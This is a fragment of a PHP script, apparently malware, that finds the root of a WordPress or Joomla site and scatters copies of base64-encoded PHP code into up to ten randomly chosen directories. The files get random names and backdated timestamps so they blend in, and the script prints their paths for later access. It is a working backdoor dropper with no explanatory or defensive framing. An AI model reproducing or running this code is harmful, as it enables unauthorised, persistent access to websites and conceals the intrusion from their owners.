" . base64_decode("'.$wp_code.'")); ?>';
$wp_dec_file = base64_decode($wp_code);
$jm_enc_file = '" . base64_decode("'.$jm_code.'")); ?>';
$jm_dec_file = base64_decode($jm_code);
$orig_dir = getcwd();
$counter = 0;
do{
foreach(glob("*") as $file) {
if(strpos($file, "wp-config.php") !== false) {
define('PLATFORM', 'WORDPRESS');
}
if(strpos($file, "configuration.php") !== false) {
define('PLATFORM', 'JOOMLA');
}
}
if(!defined('PLATFORM')) {
chdir('..');
$counter++;
}
else {
$site_root_dir = getcwd();
}
}while(!defined('PLATFORM') && $counter < MAX_LEVELS_UP);
if(!defined('PLATFORM')) {
exit("Unknown platform!");
}
$all_dirs = array();
get_all_dirs(getcwd());
//$all_dirs = array_filter($all_dirs, "filter_dirs");
if(count($all_dirs) >= 10) {
$num_of_rand_dirs = 10;
}
else {
$num_of_rand_dirs = count($all_dirs);
}
if($num_of_rand_dirs > count($all_dirs)) {
$num_of_rand_dirs = count($all_dirs);
}
$chosen_dirs_indexes = array_rand($all_dirs, $num_of_rand_dirs);
print "PLATFORM : " . PLATFORM . "
\n";
if(PLATFORM == 'WORDPRESS') {
$contents = array($wp_enc_file, $wp_dec_file);
}
if(PLATFORM == 'JOOMLA') {
$contents = array($jm_enc_file, $jm_dec_file);
}
$web_dirname = dirname($_SERVER['REQUEST_URI']);
$site_root_dir_splitted = explode("/", $site_root_dir);
$web_dir_splitted = explode("/", $web_dirname);
if($site_root_dir_splitted[count($site_root_dir_splitted)-1] == $web_dir_splitted[1]) {
$site_dir = $web_dir_splitted[1];
}
$content_type = 0;
$periods_count = 0;
$string = implode(",", range('a','z'));
foreach($chosen_dirs_indexes as $chosen_dir_index) {
if((time() - $start_time) > MAX_EXEC_TIME) {
exit;
}
$file_name = get_file_name($all_dirs[$chosen_dir_index] . '/');
if($periods_count < 2) {
$periods_count++;
$file_name .= '.';
}
file_put_contents($file_name, $contents[$content_type] . "\n" . '');
touch($file_name, time() - rand(60*60*24, 60*60*24*800));
$file_rel_path = substr($file_name, strlen($site_root_dir));
if(!isset($site_dir)) {
$site_dir = '';
}
$file_full_path = $site_dir . $file_rel_path;
if($content_type == 0) {
$content_type = 1;
}
else {
$content_type = 0;
}
print preg_replace("/^\//", "", $file_full_path) . "
\n";
flush();
}
//print PLATFORM;
//print_r($all_dirs);
?>